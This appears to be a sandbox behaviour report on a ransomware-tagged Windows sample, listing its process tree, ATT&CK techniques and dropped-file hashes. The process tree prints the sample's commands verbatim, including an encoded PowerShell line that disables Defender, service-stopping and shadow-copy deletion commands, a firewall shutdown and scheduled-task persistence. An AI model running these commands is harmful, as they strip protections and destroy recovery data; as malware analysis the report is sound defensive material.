C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1048,i,5497156737591427529,15377765871754934638,262144 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5668 /prefetch:83⤵PID:4524
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4716
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1640
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2852
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3984
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2632
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1060
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4932
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4024
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3508
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:4264
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1904
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1408
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1832
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5116
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5724
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5692
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:6080
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6128 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:788
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:4904
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:260 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:676
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:2936
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\whoami.exewhoami3⤵PID:2052
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5132
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3796
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:728
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2632
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4672
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5164
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5248
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5196 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5496
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5588
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5460
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5468
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4900
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4924
-
C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:5976
-
C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:6064
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5932
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260720_124738.jpg
- Size 132KB
- SHA256 ccdf77b1475e2b7b5579f2f4355f7dd3c9442b215f9d72276f41dd4a66fc5261
- MD5 f855f975b0586fdf72a3ddc6c5b28249
- SHA1 3656f7b2947fdfcb1f8c9cdd8a39356e4ee5fe22
- SHA512 67e79647154be39cdbe82286d5f5b103c50e60d85ad7e16032b115bcb41f9b8c45fef2b392c8f2fc84c3f52d67e58cc236b20e7b337daec4f7e0649f1839eee1
- SSDEEP 3072:T5WpnPc9ixLNqLMmZnEtaBBkXlqVc7Imxf:FoPlLNqLNZEt8iXlqi7ImJ
- TLSH T13DD3AC139C498F83A52C97E9BE071E6D6F46271DE99776FF05220ECB3E512210D9E02E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 700c0083bab2e578d470883e25da0d493a10404147c6208a06fe180239b9150b
- MD5 ef33e4caba98f5afd79e5e86b0e0bf66
- SHA1 a3ec9ed2a42e6aa5c1267fc97c61ced431a5d0bd
- SHA512 9c04c560b55cf3ed8bac1fc064364b3dafc1db523bdf8cb09a5e641cedc37dc85ee4f69f7bf2fd92ce192b5f3d2ad8e7de7a695dcad649ac37abccee91a7608b
- SSDEEP 1536:MBUMOowbx7X6owG4V1ijnbzwF7lPuIeVEsEgL1vc140zzOCBV1KYqv514G5Wej:MBUfdbxTx4V1unQ7puIzQ1Ue0zzd1W5v
- TLSH T141632B368B23FDC4677F2D40E06439971C883F2787B5267CFA850DA619E6684DF2E498
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 7afd563dd53805d2ace123d51cec6cb4d40c4a15bd5f503cdb58c83d335fe10c
- MD5 2b88d8906342e25275a4149dcd27f3e5
- SHA1 d996760cd7702411c78462641c8b4de32df2a93d
- SHA512 2a3449879e955c916d53724f3b6c259f9cc3e231b52ec6fdedcf1429d90bf373302f2864418b6c96478214839522f17c9b93fa6c7c4ef568b6a3d83534aebdc7
- SSDEEP 1536:sBUMOowbx7X6owG4V1ijnbzwF7lPuIeVEsEgL1vc140zzOCBV1KYqv514G5We6:sBUfdbxTx4V1unQ7puIzQ1Ue0zzd1W5O
- TLSH T1116329368B23FDC4677F3D80E06439971C883E278775267CFA850DA619E6684DF2E498
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\89154415-3d7f-4de2-861f-20bbfde2e715.tmp
- Size 233KB
- SHA256 1f78a824d86a71b31c20fd12d5d346f014fb73693a51b16120d515e1ad1e0a5a
- MD5 ab794b617112583eca5e6dff0c2745c8
- SHA1 90adf89eb65640299b65b6c696750a8833d9a6bb
- SHA512 57024c4adf7a254f09aa014b5430da98a87bd42732e06c2e1dffd83d1856560fe71041cd862234bcc4f1edca6b040dafca168aeed8b0fad8fe2545c3eafd1a60
- SSDEEP 6144:bil8CIXLXzD70uULZm7Rkm1tYpBeh2BAow:bilqXjAuULw9oBGcAow
- TLSH T11034233E9D28A9734EB577A7318B172E5EF11A81CB4AD4A3C5C6EE0127F63C508079A1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 d2e1f23dc62c740735628d37edb515e58ef2b74de04ae6d75bbc74c38a7c41bf
- MD5 24f5c3183d701712cb1a66b4e802377d
- SHA1 89c8cbd040fc14e60004a858a8c844b9a5392834
- SHA512 e0ea14482c74cd8338700ba76e850758e7ad6248be4c7801ad2a10ebc5755842fb1e2120292130e2085c536236213c128fce9786e432967eddb5b34b7a5c127a
- TLSH T122E02B6DCA22EC3718FC271865664705EE4123176752990F373E850C4FB873A828789C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 360B
- SHA256 eb19aec8e0afb4d0d61e5d686bacb8778c91686ea8d44af916b03c69a8379ef0
- MD5 f91af30cf5cbefc39663c3272eeefc4f
- SHA1 bf188f39e4e753b6dcb8718ba16b1774112d6c7a
- SHA512 3fcc5470720e81768593861eaf6bf0d27d9addb850f4e22d2fe89c1bdb16588cb02b86fb1438d61b3f69b02dc2d9fcfb57b09fcd31b8e63e6f33d869c1250d0a
- TLSH T111E08C01F784E592FB101D359CE26828F32588FF10036F078FC0011442B6BE00792584
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 8759e8d8bb5b1ab452c4c2385189acc2074c612ad5791f4f4640174fc6247a1d
- MD5 6961a5e256bbd1b059f6d6078a065f7d
- SHA1 30d2cee3dd122c481f2a595c8a022f44d6304ec1
- SHA512 bc16b369020cc5183ad3445bc2a31d225672b0c05c2e43a195b126b32d1c5acaae2d0fd927e1518d3aa5c6587565c31f367a9ad3144cf1b82b6d21e1cba6cd0f
- SSDEEP 192:DnwcpJpOaaIEd4t2EYIX4NKzoBCaoaRu/3jI:DnwcpJpOaaIEd4t2EYIX4NKzoBCaoaRj
- TLSH T163D1CEF7C2F8CA6ED95152F5BA106E5ACE191A18832C3D1AC8D5BE5BA3F6470D20118F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 2bb897d659a7f1dd70257738445b4cf4c4f8620d28bbac06139c1fadd3998d8e
- MD5 9056e1833dd6b10eab9779c9045e4278
- SHA1 ebd6fe92e72f58f981d042ece7af9f52e1fdf4de
- SHA512 febb0bffe79eb054181a4a005f1622c10802cd70b3d34874638238f45c0aeb194903b0480d747d1f3b485a846ec2ae0e20c51153ced6d64d79ffcab9097829e3
- TLSH T1964148F7C7E8897D890196F4BB152E1FCE2A0E14576C3C5AC8D4AE0B53E28B5D24068E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 cecbd6840116504aa502ffea37381f1a8b1a835243432c829023e420708611b7
- MD5 d27918c135ce82b3bc59e862f78fd2a0
- SHA1 9c1dfa5358154c0c8cc1571bafb16ffd9bef98c3
- SHA512 310ef048043158f57449c660a229647ed3af87bdcea77458da6f6e00b10cc5c7f5542ae07e825fe3fc75a3123d1554ba4723d2d83c75751b45603925ccb719b8
- SSDEEP 192:FRUlAQuSlGsOmv7MF+pAPRp2BlC9HHsb+WNn7H6fbw2tZzyFn+VyIsnAUgraJ:FRUl4SVOSgoUXH1w76U2nq2e
- TLSH T10A52B52EF9116DBB6CDBC225FD52BB57D7F1102121942E84E6FC8A2C15EB6CC621701B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 4e7a829c4f995a7bd66d1241f85b1dbb7f4dd46965f68e838b6cc3f14b4e840e
- MD5 fa1863f363b3960c935cfa70ee7cce52
- SHA1 d1b98fd02fbde7319b777f624895b04d42871827
- SHA512 323445b67f7166b83410625b08fe04e5caadde4b8bbd76c2d5f9110d35d830b86e987bc941da91c31a692c001e635a032ae27bc5b01f56769cbeb3713e69d1a2
- SSDEEP 192:FRUl/I5RjGsOmv7MF+pAPRp2BlC9HHsb+WNn7H6fbw2aZzyFc+VyIsnAUgtaJ:FRUlERTOSgoUXH1w76U2i928
- TLSH T10C42B62EFD1169BB5CDBC219FD62BB67D7F1102521942E84DAFC8A2C14E7ACC621701B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 2aa03c82b611b3fe6cdaf5fe4d55ec208fa47cbc8eb4b77e72c8c64341a677da
- MD5 d210c96fea5205951e7c2614a7381afc
- SHA1 557c415e4225993caf8e885048da101e051788af
- SHA512 750c85e9610e5a33785bc6cba2d6f2bfcfc88d8faeb9e483f64ebcc7e003bd18e674ff8f85c7d547df2e713fba7b271f291bfd08a30f1084a556b6429ad50502
- SSDEEP 384:TRjPq7KxkXqKf/pUZNCgVLH2HfgslT37pLuLcMFgXODPO+ErU3voHGjB22oR0S:TxPq7KxkXqKf/pUZNCgVLH2HfgsV37pb
- TLSH T1577219676C4C8E7B0F94CACCDC167F4FADB5025B65EA886482FA582903D5ADF01061FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\645344214036bee289fc12041aaf8aa3f0471841\776ee06b-9da6-4ab9-ade3-7d8dca80dcd7\index-dir\the-real-index
- Size 72B
- SHA256 c2392271367e8ddbed3f81e51649524b060a8c1f4a487c165c8471a0683f9ed5
- MD5 acebbb4da6defb0ea0006c025ab1cad3
- SHA1 4791d1ac0f6c117d20dafa49bf8badcf3f1dd6dd
- SHA512 a0a3adae42ef168eb543124bd931230b579b590d85bacb02e415254fd8aad940a975cd9f04e32d740cc4348462a708f68261b797242505be9f360dd9253d7084
- TLSH T1EFA002FD81664E63CB10077B608206D277517863C20517F350F441449C541925356002
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\645344214036bee289fc12041aaf8aa3f0471841\776ee06b-9da6-4ab9-ade3-7d8dca80dcd7\index-dir\the-real-index~RFe588884.TMP
- Size 48B
- SHA256 409575e74c256a8609ba26eb3b6bf41b20f757453fda7584ad9cffb161da46e9
- MD5 c1b028b635a72d04158e59b4ee3072c0
- SHA1 d2a61a5bc674b7f4c66308e6594de2427fb0e10c
- SHA512 56b5ea35aa6139c25a089d849091ad12701bef9cd969eca16e0d1d57ef68f3e3a2743d02c5c8d36c2bc19dd857895fb780335736c16995a6bad57406187e23e6
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\645344214036bee289fc12041aaf8aa3f0471841\index.txt
- Size 148B
- SHA256 aecaa52a02de120c24a10b30f833c34ef61c01d2697efc4ee2fbbd13db26c1ed
- MD5 c1b27477ec684c9a48b27e2c97e25312
- SHA1 62d3c998f918ebe56de206cb98873d098960b223
- SHA512 f5c122069daba346e49de49ef0e188eb64e832fbc20c5b8d2184c7a5c09d90aeb110413303b27eae41fd38b12766a2c860640eac21f2ff5313d69c8a9c567522
- TLSH T191C0806F1011C15AFD649F434400211D8755514407FC58B4E4785411C465531C4D3D06
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\645344214036bee289fc12041aaf8aa3f0471841\index.txt~RFe5888b3.TMP
- Size 154B
- SHA256 3685deaabd8ebab2d6cdd8fba7de2266f55f8108a8c7abcd2c3bdfadb5d39222
- MD5 ef2ea17c4a47c0b77ad029be56a3fcda
- SHA1 e6576b7ac912b7d9bcec1483e5c32e1b4d0f8602
- SHA512 3eb7a6949535efbef35b792b6f890ac4f67a4d21d077c11daa25ca181d04bc4171b263ac99fec86435c4bf999179a5d87ccfaf23c437e0ba818df07e321b46fd
- TLSH T121C0806B10218159F5545B834400215E47615D440BFC58F4E4387411C475532C5D2D06
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 527c94fa1c890035ee6ad7b7c8580a240896d15bb7b61b74ba0e33c205238f80
- MD5 1108163d322c1063c5828ee7b78817a8
- SHA1 5bcc7436161375a7f5c335b614c500fed377b9fa
- SHA512 639e4567f97f397230f15f78cc196b93d0c00788a597616efbb520837978c2b51932e68228b46ff43704d199b25eb1e5f15c65e9232fe8b22b5594268d6c4b05
- TLSH T148C0128EC1256105C06F03B6208394E972589F20EB0B134D56F51E26E93D53380162A6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe589e3f.TMP
- Size 96B
- SHA256 b4607a3f66ffa9a7f9367660a5cea3b438daaca9ce947e730626b35aec715782
- MD5 699eabe3c37dceb2945a5b7ef464246d
- SHA1 f8a2a6f7c531e0857d34ef2b11cb1ee2f22a2a7e
- SHA512 6057231851bae3e4a5243c645e2670141009dbac9f0b24a67247c89e7369e3fa48c33b5847677931e39453143a1300429294f372908214d1c6c2da6e0639e503
- TLSH T11BB00269C5027213C14607B435D9D5D87268DF35C7079313D6F11ABEEC3A6B14539160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 8776f2e2fc33ffc17b280cb4300d2bf96d8043eff39d61d5bdb858aa6c1e8487
- MD5 0291fd230c79eace8c2bdb81f044a87d
- SHA1 d87c660e2f8ff9bf63fb3823f5db14f0e6bf2929
- SHA512 cc43927d08412d93bdc3b2d692b1613648f69e9aedfe16c391bf660655c21916fd05b4c5fd768063e2e0317e0ab8a2f1d0309d9f610a00e1de98a26233b95b1f
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OkGwVumB3na:1nbZeMrv/hGtkGGna
- TLSH T147D3884B3A747002DDE59A722CE051BB5D3C716D4F51A5D438B620588EF2963A23E4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 ec7c602322a036c54986dae44192862f2ce86f51dd0b28100fb3aeac630ad237
- MD5 6972a8391314aaab9107790eaaf958b2
- SHA1 10c8459fdbe4466f580f752f259a4b5978ee9fc6
- SHA512 fe5c105d4bd86b138de6c610b594ff3e45e790b29fa3fcee335163164fdddd2392058f2d7f612addf8dbf8dc50f9631f12ade7f2828031a7da19bc0737457113
- SSDEEP 3072:/QGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMM:/bm7Rkm1tYpBeh2BAoM
- TLSH T152C312275E75E8375878BB0EB08E0B1F1EF14AA6C930DA92C8D86B0467F97CC1A05D34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 b09e2d6113afec6f32a53fb77a728dbffd31d00770b3524c71ac12d7d56b21eb
- MD5 96c679b5db99c2954646ca1b6d561a5d
- SHA1 02e9e1c28bc0faf4d47d74ef57cdddb9171f41c0
- SHA512 dad3df6dcb93ea4dae17b5a51c25c4d04605a94894d9add6335f589350d70cbb2da95a1ace2f842aca571fc6083739a7ecc023132e386f15f460c8e75ae6e6b7
- SSDEEP 3072:1YkGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMx:aHm7Rkm1tYpBeh2BAox
- TLSH T1E1C3123B6D75AC3759B9BB5EB04E0B1F0EF14966C924DA92C8D85B0823F97CC0A49934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 233KB
- SHA256 8128495cd931ce6573ff122be155f70941eae542c217d1090d4f65c03083b775
- MD5 66fdb84b1ac939f41546d5472d3ac686
- SHA1 aa17b5cbf1ae6a1fa4425744bd5ae50bbe7dadbd
- SHA512 c953130427b9f874d0425dc3df9276139fb49016160a92e451f07e7becbadd148e0db817b1fba589aab4d992a2845c1f10bf49fb6aa71afea55219c91a3071a3
- SSDEEP 6144:bKrl8CIXLXzD70uULZm7Rkm1tYpBeh2BAow:bulqXjAuULw9oBGcAow
- TLSH T1CE34233E9D2469334EB5776B318B172E5EF16B86CB0AD897D4C9BD0067FB2850C079A0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlg2knni.s5s.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 e4458345bfa43c5ced21f49c21061c1c70547ab21d74fe3cef404b7fbe563444
- MD5 2ae61da572e7ff0f332c7cd79c883af9
- SHA1 346e020b17174b794da1a237c83e07bf30c0589e
